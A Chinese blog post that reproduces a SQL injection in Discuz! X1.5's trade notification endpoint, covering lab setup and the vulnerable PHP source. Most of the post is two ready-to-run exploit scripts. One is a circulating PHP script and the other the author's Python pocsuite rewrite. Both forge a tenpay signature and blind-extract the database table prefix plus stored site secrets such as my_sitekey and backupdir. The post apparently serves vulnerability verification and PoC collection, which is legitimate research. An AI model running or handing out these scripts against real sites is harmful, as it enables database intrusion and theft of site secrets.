最近在写poc,遇见一个很老的洞,大概是十年前的了。因为复现老洞不容易,记录一下吧。
1. 环境搭建
Discuz! X1.5版本下载地址
https://www.a5xiazai.com/php/73710.html
该地址下还有其安装教程
https://www.discuz.net/thread-1887949-1-1.html
安装wampserver等工具,将下载后的压缩包解压放入www目录下,浏览器访问该路径,进行安装。需要说明的是该版本需要在php小于7的版本下运行,如果出现图中提示,按照要求进行更改即可。

最终进入到安装界面,到了安装数据库时,管理员哪里随便输入个密码,这里用admin

安装完成后的最终效果如下:

2. 漏洞详情
漏洞是个老洞了,最近完善poc列表,需要将其poc加入其中。该漏洞的描述是:Discuz !X1.5 application has a SQL Injection Vulnerability in "/api/trade/notify_credit.php"
,php文件内容如下
<?php
/**
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
* $Id: notify_credit.php 10986 2010-05-19 05:41:21Z monkey $
*/
require '../../source/class/class_core.php';
require '../../source/function/function_forum.php';
$discuz = & discuz_core::instance();
$discuz->init();
$apitype = empty($_G['gp_attach']) || !preg_match('/^[a-z0-9]+$/i', $_G['gp_attach']) ? 'alipay' : $_G['gp_attach'];
require_once DISCUZ_ROOT.'./api/trade/api_'.$apitype.'.php';
$PHP_SELF = $_SERVER['PHP_SELF'];
$_G['siteurl'] = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api\/trade)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');
$notifydata = trade_notifycheck('credit');
if($notifydata['validator']) {
$orderid = $notifydata['order_no'];
$postprice = $notifydata['price'];
$order = DB::fetch_first("SELECT o.*, m.username FROM ".DB::table('forum_order')." o LEFT JOIN ".DB::table('common_member')." m USING (uid) WHERE o.orderid='$orderid'");
if($order && floatval($postprice) == floatval($order['price']) && ($apitype == 'tenpay' || $_G['setting']['ec_account'] == $_REQUEST['seller_email'])) {
if($order['status'] == 1) {
DB::query("UPDATE ".DB::table('forum_order')." SET status='2', buyer='$notifydata[trade_no]\t$apitype', confirmdate='$_G[timestamp]' WHERE orderid='$orderid'");
updatemembercount($order['uid'], array($_G['setting']['creditstrans'] => $order['amount']), 1, 'AFD', $order['uid']);
updatecreditbyaction($action, $uid = 0, $extrasql = array(), $needle = '', $coef = 1, $update = 1, $fid = 0);
DB::query("DELETE FROM ".DB::table('forum_order')." WHERE submitdate<'$_G[timestamp]'-60*86400");
$submitdate = dgmdate($order['submitdate']);
$confirmdate = dgmdate(TIMESTAMP);
notification_add($order['uid'], 'credit', 'addfunds', array(
'orderid' => $order['orderid'],
'price' => $order['price'],
'value' => $_G['setting']['extcredits'][$_G['setting']['creditstrans']]['title'].' '.$order['amount'].' '.$_G['setting']['extcredits'][$_G['setting']['creditstrans']]['unit']
), 1);
}
}
}
if($notifydata['location']) {
$url = rawurlencode('home.php?mod=spacecp&ac=credit');
if($apitype == 'tenpay') {
echo <<<EOS
<meta name="TENCENT_ONLINE_PAYMENT" content="China TENCENT">
<html>
<body>
<script language="javascript" type="text/javascript">
window.location.href='$_G[siteurl]forum.php?mod=misc&action=paysucceed';
</script>
</body>
</html>
EOS;
} else {
header('location: '.$_G['siteurl'].'forum.php?mod=misc&action=paysucceed');
}
} else {
exit($notifydata['notify']);
}
?>
网上流传着一个php脚本
<?php
error_reporting(7);
ini_set('max_execution_time', 0);
$url = $argv[1];
$pre = $argv[2]?$argv[2]:'pre_';
$target = parse_url($url);
extract($target);
$path .= '/api/trade/notify_credit.php';
$hash = array();
$hash = array_merge($hash, range(48, 57));
$hash = array_merge($hash, range(97, 102));
$tmp_expstr = "'";
$res = send();
if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
if($match[1])$pre = $match[1];
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
$res = send();
if(strpos($res,"doesn't exist")!==false){
echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
for($i = 1;$i<20;$i++){
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
$pre = '';
$hash2 = array();
$hash2 = array_merge($hash2, range(48, 57));
$hash2 = array_merge($hash2, range(97, 122));
$hash2[] = 95;
for($j = 1;$j <= $i; $j++){
for ($k = 0; $k <= 255; $k++) {
if(in_array($k, $hash2)) {
$char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
echo chr($k);
$pre .= chr($k);break;
}
}
}
}
if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
} } };
echo "Please Waiting....\n";
$sitekey = '';
for($i = 1;$i <= 32; $i++){
for ($k = 0; $k <= 255; $k++) {
if(in_array($k, $hash)) {
$char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
echo chr($k);
$sitekey .= chr($k);break;
}}}}
if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..');
echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}";
exit;
function sign($exp_str){
return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
}
function send(){
global $host, $path, $tmp_expstr;
$expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
$data = "POST $path HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($expdata)."\r\n";
$data .= "Connection: Close\r\n\r\n";
$data .= $expdata;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
这个脚本在测试过程中发现了一些问题,比如pre_common_setting中UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='
这个查询语句是无效的,可能是版本不同造成数据库skey字段不同?换成一个其他已有字段。

用python改写的poc如下
# coding: utf-8
# -*- coding:utf-8 -*-
import hashlib
import urllib
import urllib2
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
class TestPOC(POCBase):
version = '1'
vulDate = 'Mon Apr 30 2012 16:00:00 GMT+0800 (China Standard Time)'
createDate = '2018-5-28'
updateDate = 'Thr Aug 5 2020 16:44:07 GMT+0800 (China Standard Time)'
references = '''[]'''
name = '''Discuz! x1.5 api-trade-notify-credit.php sql注入漏洞'''
cve = ''
appPowerLink = ''
appName = 'Discuz'
appVersion = '1.5'
vulType = 'SQL 注入'
vulGrade = '高危'
vulRepair = '''升级到官方最新无漏洞版本'''
desc = '''Discuz !X1.5 application has a SQL Injection Vulnerability in
"/api/trade/notify_credit.php"
like
$order = DB'''
samples = ''''''
path = 'api/trade/notify_credit.php'
def _attack(self):
return self._verify()
def _verify(self):
'''verify mode'''
pre = ''
result = {}
list1 = range(48, 57)
list2 = range(97, 102)
list_all = list1 + list2
tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM pre_common_setting WHERE ''='"
res = self.send(tmp_expstr)
if res.find("doesn't exist") != -1:
print "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n"
for i in range(1, 20):
tmp_expstr1 = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=" + str(
i) + "AND ''='"
res1 = self.send(tmp_expstr1)
pre = ''
list1 = range(48, 57)
list2 = range(97, 122)
list3 = [95]
list_all = list1 + list2 + list3
if res.find("SQL syntax") != -1:
for j in range(1, i):
for k in range(0, 255):
if k in list_all:
char = hex(k)
tmp_expstr1 = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),%s,1)=0x%s AND ''='" % (
j, char)
res = str(self.send(tmp_expstr1))
if res.find("SQL syntax") != -1:
print chr(k)
pre = pre + chr(k)
print pre
break
if len(pre):
print "\nCracked...Table_Pre:" + str(pre)
else:
print "GET Table_pre Failed.."
backupdir = ''
for i in range(1, 33):
for k in range(0, 256):
if k in list_all:
char = hex(k)
tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM pre_common_setting WHERE skey=0x6261636b7570646972 AND MID(svalue,%s,1)=%s AND ''='" % (i, char) #此处选取的backupdir字段
res = self.send(tmp_expstr)
if res.find("SQL syntax") != -1:
backupdir = backupdir + chr(k)
result['VerifyInfo'] = {}
break
return self.parse_output(result)
def sign(self, exp_str):
str = "attach=tenpay&mch_vno=" + exp_str + "&retcode=0&key="
hl = hashlib.md5()
hl.update(str.encode(encoding='utf-8'))
return hl.hexdigest()
def send(self, tmp_expstr):
# url = self.url + '/Discuz_X1.5/upload/api/trade/notify_credit.php?' #部分网站路径可能不同
url = self.url + '/api/trade/notify_credit.php?'
u1 = urllib.quote(tmp_expstr)
u2 = urllib.quote(u1)
exp_data = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=" + str(u2) + "&sign=" + self.sign(tmp_expstr)
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': len(exp_data),
}
request = urllib2.Request(url, data=exp_data, headers=headers)
resp = urllib2.urlopen(request)
return resp.read()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
网友评论